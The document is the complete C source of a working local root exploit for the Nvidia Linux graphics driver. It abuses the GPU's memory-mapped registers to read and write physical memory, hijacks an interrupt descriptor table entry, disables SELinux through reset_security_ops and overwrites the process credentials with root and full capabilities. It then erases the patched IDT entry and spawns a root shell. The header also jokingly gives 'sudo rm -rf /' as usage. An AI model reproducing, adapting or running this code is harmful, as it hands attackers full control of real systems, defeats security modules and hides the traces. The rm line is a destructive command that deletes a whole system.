Nvidia Linux Driver Privilege Escalation

/* Anonymous
 *
 * How to use: sudo rm -rf /
 *
 * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
 *
 * Only complete fix patch nvidia drivers and redefine
 * IS_BLACKLISTED_REG_OFFSET:

#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1

 */

#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>

#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff80000000L
#else
#define KERNEL_BASE 0xc0000000
#endif

#define ENTRY 0xdc

#define inline __attribute__((always_inline))
#ifdef __x86_64__
#define __kernel
#else
#define __kernel __attribute__((regparm(3)))
#endif
#define __used __attribute((used))

static unsigned long kernel_ofs_phys;
static volatile uint32_t *cve_2012_YYYY;

static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)
{
  uint32_t i = (ofs & 3) * 8;
  ofs >>= 2;
  m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
}

static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
  if (1) {
    uint32_t ofs = (target & 0x3ffff)/4, i;

    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for input!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
    memset(buffer, 0, 16);
    for (i = 0; i < 4; ++i) {
      uint32_t shift = i * 8;
      poke_byte(cve_2012_YYYY, 0x204, i);
      buffer[0] |= (m[ofs/4] & 0xff) << shift;
      buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;
      buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;
      buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;
    }
  }
}

static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
  if (1) {
    uint32_t i, ofs = (target & 0x3ffff)/4;
    if (target & 0xf) {
      printf("[ ] Function requires 16-byte alignment for output!\n");
      exit(-1);
    }

    cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);

    for (i = 0; i < 4; ++i) {
      int shift = 8 * i;
      uint32_t val;
      poke_byte(cve_2012_YYYY, 0x102, 1<<i);
      val = (buffer[0] >> shift) & 0xff;
      val |= ((buffer[1] >> shift) & 0xff) << 8;
      val |= ((buffer[2] >> shift) & 0xff) << 16;
      val |= ((buffer[3] >> shift) & 0xff) << 24;
      m[ofs/4] = val;
    }
  }
}

unsigned long virt2phys(unsigned long addr)
{
  unsigned long phys;
  addr &= ~KERNEL_BASE;
  addr += kernel_ofs_phys;
  phys = addr & 0xffffffff;
  return phys;
}

// dest has to be 16-byte and slightly larger for unaligned reads
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)
{
  uint32_t rem, phys = virt2phys(src);
  void *ret = dest + (src & 0xf);

  rem = (-phys) & 0xf;
  if (rem) {
    physread16(m, phys & ~0xf, dest);
    dest += 0x10;
    phys += rem;
    if (len > rem)
      len -= rem;
    else
      len = 0;
  }

  for (; len; phys += 0x10, dest += 0x10, len -= len >= 16 ? 16 : len)
    physread16(m, phys, dest);

  return ret;
}

void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)
{
  uint32_t phys;
  unsigned long remaining, towrite, i;

  phys = virt2phys(dest);

  if (!m || m == MAP_FAILED)
    puts("not actually writing...");

  if (1) {
    remaining = len;
    for (i = 0; i < len; i += 16) {
      uint32_t buffer[4];
      if (remaining < 16)
        physread16(m, phys + i, (uint32_t*)buffer);
      towrite = remaining > 16 ? 16 : remaining;
      memcpy(buffer, (void*)(src + i), towrite);
      physwrite16(m, phys + i, (uint32_t*)buffer);
      remaining -= 16;
    }
  }
}

static void mode_x(volatile uint32_t *x) {
  // http://wiki.osdev.org/VGA_Hardware Mode X

  // 3c0
  x[0x310/4] = 0x000f0041;
  x[0x314/4] = 0;

  // 3c2
  x[0x000/4] = 0xe3;

  // 3c4
  x[0x100/4] = 0x000f0103;
  x[0x104/4] = 0x06;

  // 3ce
  x[0x204/4] = 0x0f054000;

  // 3d4
  x[0x400/4] = 0x82504f5f;
  x[0x404/4] = 0x3e0d8054;
  poke_byte(x, 0x408, 0);
  poke_byte(x, 0x409, 0x41);
  x[0x410/4] = 0x28dfacea;
  x[0x414/4] = 0xe306e700;
}

static int dirfilter(const struct dirent *d) {
  return d->d_type == DT_LNK && strchr(d->d_name, ':');
}

static int nvidia_fd(uint64_t *res) {

  struct dirent **list;
  int fd, resfd, ret;
  char buf[256];
  ret = scandir("/sys/bus/pci/drivers/nvidia", &list, dirfilter, versionsort);
  if (ret <= 0)
    goto fail;
  sprintf(buf, "/sys/bus/pci/drivers/nvidia/%s/resource", list[0]->d_name);
  resfd = open(buf, O_RDONLY);
  if (resfd < 0)
    goto fail;
  read(resfd, buf, sizeof(buf));
  *res = strtoll(buf, NULL, 16);
  close(resfd);

  if ((fd = open("/dev/nvidia0", O_RDWR)) < 0)
    goto fail;
  return fd;

fail:
  perror("COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!");
  *res = 0;
  return -1;
}

volatile uint32_t *nvidia_handle(int fd, uint64_t res) {
  // access 4 bytes at a time or things go weird
  volatile uint32_t *m;

  if (fd < 0)
    return MAP_FAILED;

  // I HAD TO LEARN VGA FOR THIS
  m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0x619000);
  if (m != MAP_FAILED) {
    if ((m[0xf00/4] & 8) &&
        (m = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED) {
      printf("[*] CVE-2012-YYYY\n");

      mode_x(cve_2012_YYYY); // put into vga mode x, ish
     
      return m;
    }
    munmap((void*)cve_2012_YYYY, 0x1000);
    m = cve_2012_YYYY = MAP_FAILED;
  }
  return m;
}

static int tasknamelen;
static char taskname[64];

extern long gettask(void);
extern long testgetroot(void);

__used __kernel extern long callsetroot(long uid, long gid);

#define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
#define END ".cfi_endproc\n\t"
asm(
".text\n\t.align 4\n\t"
FN("testgetroot")
  // AND HAVE FUN! :D
#ifdef __x86_64__
  "swapgs\n\t"
  "call getroot\n\t"
  "swapgs\n\t"
  "iretq\n\t"
#else
  "mov %fs, %edi\n\t"
  "mov $0xd8, %esi\n\t"
  "mov %esi, %fs\n\t"
  "call getroot\n\t"
  "mov %edi, %fs\n\t"
  "iretl\n\t"
#endif
END

FN("gettask")
#ifdef __x86_64__
  // Grab some offsets from system_call
  "mov $0xc0000082, %ecx\n\t"
  "rdmsr\n\t"
  "movslq %eax, %rax\n\t"

  // Fuck optional alignment, fix it by looking for
  // the start prefix of our lovely mov %gs:.. in system_call we just found
  // this will get us kernel_stack, in which most cases it means that
  // our current_task is right below it
  // This is only needed if kallsyms fails
  "1:\n\t"
  "cmpw $0x4865, 0x3(%rax)\n\t"
  "je 2f\n\t"
  "incq %rax\n\t"
  "jmp 1b\n\t"
  "2:\n\t"

  "movl 17(%rax), %edx\n\t"

  // blegh padding
  "3:\n\t"
  "addl $8, %edx\n\t"
  "movq %gs:(%edx), %rax\n\t"
  "test %eax, %eax\n\t"
  "jz 3b\n\t"
  "cmpl $-1, %eax\n\t"
  "je 3b\n\t"
#else
  // TODO: maybe..
  "xor %eax, %eax\n\t"
#endif
  "ret\n\t"
END

#define S2(x) #x
#define S1(x) S2(x)

FN("callsetroot")
#ifdef __x86_64__
  "int $" S1(ENTRY) "\n\t"
#else
  "push %edi\n\t"
  "push %esi\n\t"
  "int $" S1(ENTRY) "\n\t"
  "pop %esi\n\t"
  "pop %edi\n\t"
#endif
  "ret\n\t"
END

".previous");

struct kallsyms {
  unsigned long *addresses;
  unsigned long num_syms;
  unsigned char *names;
  unsigned long *markers;

  unsigned char *token_table;
  unsigned short *token_index;
};

// Memory layout kallsyms, all pointer aligned:
// unsigned long addresses[num_kallsyms]
// unsigned long num_kallsyms
// unsigned char names[..]
// unsigned long markers[(num_kallsyms + 0xff) >> 8] = { 0, ... }
// char token_table[var...] = { null terminated strings }
// unsigned short token_index[var?...] = { 0, ... };

// This should probably work for 64-bits and 32-bits kernels
// But only tested on 64-bits kernels
inline static long init_kallsyms(struct kallsyms *ks)
{
  unsigned long start = KERNEL_BASE + 0x1000000L;
  unsigned long *max = (void*)KERNEL_BASE + 0x2000000L;
  unsigned long *cur;
  for (cur = (void*)start; cur < max; cur += 2) {
    if (*cur == start &&
        (cur[1] == start || cur[-1] == start))
      goto unwind;
  }
  return -1;

unwind:
  while ((cur[0] & KERNEL_BASE) == KERNEL_BASE)
    cur++;
  ks->addresses = cur - *cur;
  ks->num_syms = *(cur++);
  ks->names = (unsigned char*)cur;
  do { cur++; } while (*cur);
  ks->markers = cur;
  cur += (ks->num_syms + 0xff) >> 8;
  ks->token_table = (unsigned char*)cur;
  // Zero terminated string can create padding that could
  // be interpreted as token_index, requiring the || !*cur
  do { cur++; } while (*(unsigned short*)cur || !*cur);
  ks->token_index = (unsigned short*)cur;
  return (long)ks->num_syms;
}

#define KSYM_NAME_LEN 128
inline static int kstrcmp(const char *x, const char *y)
{
  for (;*x == *y; x++, y++)
    if (!*x)
      return 0;
  return -1;
}

/*
 * kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
 *
 * Rewritten and vastly simplified by Rusty Russell for in-kernel
 * module loader:
 *   Copyright 2002 Rusty Russell <rusty@rustcorp.com.au> IBM Corporation
 *
 * ChangeLog:
 *
 * (25/Aug/2004) Paulo Marques <pmarques@grupopie.com>
 *      Changed the compression method from stem compression to "table lookup"
 *      compression (see scripts/kallsyms.c for a more complete description)
 */

inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result)
{
  int len, skipped_first = 0;
  const unsigned char *tptr, *data;

  /* Get the compressed symbol length from the first symbol byte. */
  data = &ks->names[off];
  len = *data;
  data++;

  /*
   * Update the offset to return the offset for the next symbol on
   * the compressed stream.
   */
  off += len + 1;

  /*
   * For every byte on the compressed symbol data, copy the table
   * entry for that byte.
   */
  while (len) {
    tptr = &ks->token_table[ks->token_index[*data]];
    data++;
    len--;

    while (*tptr) {
      if (skipped_first) {
        *result = *tptr;
        result++;
      } else
        skipped_first = 1;
      tptr++;
    }
  }

  *result = '\0';

  /* Return to offset to the next symbol. */
  return off;
}

inline static unsigned long kdlsym(struct kallsyms *ks, char *name)
{
  char namebuf[KSYM_NAME_LEN];
  unsigned long i;
  unsigned int off;

  for (i = 0, off = 0; i < ks->num_syms; i++) {
    off = kallsyms_expand_symbol(ks, off, namebuf);
    if (kstrcmp(namebuf, name) == 0)
      return ks->addresses[i];
  }
  return 0;
}

__used __kernel long getroot(long uid, long gid)
{
  int i;
  unsigned long cred;
  int *j = NULL;
  int k;
  char *p;
  struct kallsyms ks;
  unsigned long task_struct = 0;

  long ret = init_kallsyms(&ks);

  if (ret > 0) {
    void (*fn)(void);
    __kernel void *(*fn1)(void*);
    unsigned long task_offset;
    char fnops[] = "reset_security_ops";
    char fntask[] = "current_task";
    char fncred[] = "get_task_cred";

    // SELINUX is overrated..
    fn = (void*)kdlsym(&ks, fnops);
    if (fn) fn();

    // Get a more reliable offset to current_task if we can
    task_offset = kdlsym(&ks, fntask);
    if (task_offset)
#ifdef __x86_64__
      asm("mov %%gs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#else
      asm("mov %%fs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#endif
    else
      task_struct = gettask();
    if (!task_struct)
      return -4;

    fn1 = (void*)kdlsym(&ks, fncred);
    if (fn1) {
      j = fn1((void*)task_struct);
      // And decrease refcount we just increased
      asm("lock; decl (%0)" :: "r"(j));
    }
  }
  else if (!ret)
    task_struct = gettask();
  else
    return -ret;
  if (!task_struct)
    return -5;

  // No kallsyms or no get_task_cred, manually try to find
  if (!j) {
    // all the creds are belong to us
    for (i = 0; i < 0x1000; i += sizeof(void*)) {
      p = (char *)(task_struct + i);
      for (k = 0; k < tasknamelen; k++) {
        if (p[k] != taskname[k])
          break;
      }
      if (k == tasknamelen) {
        cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);
        j = (int *)cred;
        break;
      }
    }
    if (!j)
      return -1;
  }

  for (i = 0; i < 1000; i++, j++) {
    if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
        j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {

      /* uid, euid, suid, fsuid */
      j[0] = j[1] = j[2] = j[3] = 0;

      /* gid, egid, sgid, fsgid */
      j[4] = j[5] = j[6] = j[7] = 0;

      /* ALLCAPS!!111 */
      j[10] = j[11] = 0xffffffff;
      j[12] = j[13] = 0xffffffff;
      j[14] = j[15] = 0xffffffff;

      return 0;
    }
  }
  return -2;
}

struct gdt
{
  uint16_t limit;
  uint32_t base;
}__attribute__((packed));

static unsigned long getidt()
{
  struct gdt idt;
  memset(&idt, 0x00, sizeof(struct gdt));
  asm volatile("sidt %0" : "=m"(idt));
  return idt.base | 0xFFFFFFFF00000000UL;
}

typedef struct gate_struct {
        uint16_t offset_low;
        uint16_t segment;
        unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
        uint16_t offset_middle;
#ifdef __x86_64__
        uint32_t offset_high;
        uint32_t zero1;
#endif
} __attribute__((packed)) gate_desc;

enum {
  GATE_INTERRUPT = 0xE,
  GATE_TRAP = 0xF,
  GATE_CALL = 0xC,
  GATE_TASK = 0x5,
};

#define YES_PLEASE 3
#define PTR_LOW(x) ((unsigned long)(x) & 0xFFFF)
#define PTR_MIDDLE(x) (((unsigned long)(x) >> 16) & 0xFFFF)
#define PTR_HIGH(x) ((unsigned long)(x) >> 32)

#ifdef __x86_64__
#define __KERNEL_CS 0x10
#else
#define __KERNEL_CS 0x60
#endif

void dump_gate(gate_desc *gate)
{
#if 0
  uint16_t *p = (void *)gate;
  unsigned i;
  for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++)
    printf("%04x\n", *p++);
#endif
}

void dump_bytes(void *desc)
{
  int i;
  for (i = 0; i < 16; ++i) {
    printf("%02x", ((char*)desc)[i]);
    if (i < 15 && (i % 4) == 3)
      printf(" ");
  }
  printf("\n");
}

static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,
                             unsigned dpl, unsigned ist, unsigned seg)
{
  gate->offset_low = PTR_LOW(func);
  gate->offset_middle = PTR_MIDDLE(func);
  gate->segment = seg;
  gate->ist = ist;
  gate->p = 1;
  gate->dpl = dpl;
  gate->zero0 = 0;
  gate->type = type;
#ifdef __x86_64__
  gate->offset_high = PTR_HIGH(func);
  gate->zero1 = 0;
#endif
  dump_gate(gate);
}

// Test mode, not really an exploit, although it does
// show the option to forbid physical memory is useless
static int devmem_fd(void)
{
  int fd = open("/dev/mem", O_RDWR|O_SYNC);
  if (fd < 0)
    perror("/dev/mem");
  return fd;
}

void *xalloc(unsigned long len)
{
  void *ret = NULL;
  posix_memalign(&ret, 16, ((len+0xf)&~0xf) + 16);
  return ret;
}

void xfree(void *ptr)
{
  free((void*)((unsigned long)ptr & ~0xfL));
}

int main(int argc, char * argv[])
{
  volatile uint32_t *handle = NULL;
  long ret, i, found = 0;
  char *p;
  gate_desc gate, gate2[16/sizeof(gate_desc)];
  uint32_t buf[4];
  gate_desc *dp = (gate_desc*)buf;
  uint8_t data[256];
  uint64_t res = 0;

  printf("[*] IDT offset at %#lx\n", getidt());

  // syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root
  if (argc > 2 && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {
    res = strtoll(argv[2], NULL, 16);
    handle = nvidia_handle(devmem_fd(), res);

    for (i = 0; i < 0x4000000; i += 16) {
      physread16(handle, i, (void*)data);
      write(2, data, 16);
    }
    return 0;
  } else if (argc > 1 && (res = strtoll(argv[1], NULL, 16))) {
    handle = nvidia_handle(devmem_fd(), res);
    if (!getuid()) {
      setgid(1000);
      setuid(1000);
    }
    if (handle == MAP_FAILED)
      return -1;
    printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());
  }

  if ((p = strchr(argv[0], '/')))
    p++;
  else
    p = argv[0];
  strcpy(taskname, p);
  tasknamelen = strlen(taskname);

  if (!handle || handle == MAP_FAILED) {
    uint64_t res;
    int fd = nvidia_fd(&res);
    printf("[*] Abusing nVidia...\n");
    handle = nvidia_handle(fd, res);
    if (!handle || handle == MAP_FAILED)
      return -1;
  }

  // X86_OF_ENTRY
  unsigned long idtentry = getidt() + (2*sizeof(unsigned long)*4);
  pack_gate(&gate, GATE_INTERRUPT, KERNEL_BASE, YES_PLEASE, 0, __KERNEL_CS);

  for (i = 0; i < 256; ++i) {
    kernel_ofs_phys = i * 1024 * 1024;
    physread16(handle, virt2phys(idtentry), buf);

    // Copy offsets since we don't really care about them
    gate.offset_low = dp->offset_low;
    gate.offset_middle = dp->offset_middle;

#ifndef __x86_64__
    gate.segment = dp->segment;
    if (*(uint64_t*)&dp[1] == 0x00000000ffffffffULL) {
      printf("[X] 64-bits kernel found at ofs %lx\n", kernel_ofs_phys);
      printf("[X] Compiled for 32-bits only\n");
      continue;
    }
#endif

    if (!memcmp(&gate, dp, sizeof(*dp))) {
      printf("[*] %zu-bits Kernel found at ofs %lx\n", sizeof(void*)*8, kernel_ofs_phys);
      found = 1;
      break;
    }
  }
  if (!found) {
    printf("[X] No kernel found! >:(\n");
    return -1;
  }

  idtentry = getidt() + (2*sizeof(unsigned long)*ENTRY);
  printf("[*] Using IDT entry: %d (%#lx)\n", ENTRY, idtentry);
  physread16(handle, virt2phys(idtentry), buf);
  dump_gate(dp);

  printf("[*] Enhancing gate entry...\n");
  pack_gate(&gate, GATE_INTERRUPT, (uintptr_t)&(testgetroot), YES_PLEASE, 0, __KERNEL_CS);
  kernel_write(handle, idtentry, (unsigned long)&gate, sizeof(gate));
  physread16(handle, virt2phys(idtentry), (uint32_t*)gate2);
  if (memcmp(&gate, gate2, sizeof(gate))) {
    printf("[ ] Failed!\n");
    return -1;
  }

  printf("[*] Triggering payload...\n");
  ret = callsetroot(getuid(), getgid());
  // And restore old one, I'm kind like that
  printf("[*] Hiding evidence...\n");
  kernel_write(handle, idtentry, (unsigned long)dp, sizeof(*dp));
  if (ret)
    printf("callsetroot returned %lx (%li)\n", ret, ret);

  if (getuid()) {
    printf("[*] Failed to get root.\n");
    return -1;
  }

  printf("[*] Have root, will travel..\n");
  execl("/bin/bash", "sh", NULL);
  perror("/bin/bash");
  return 1;
}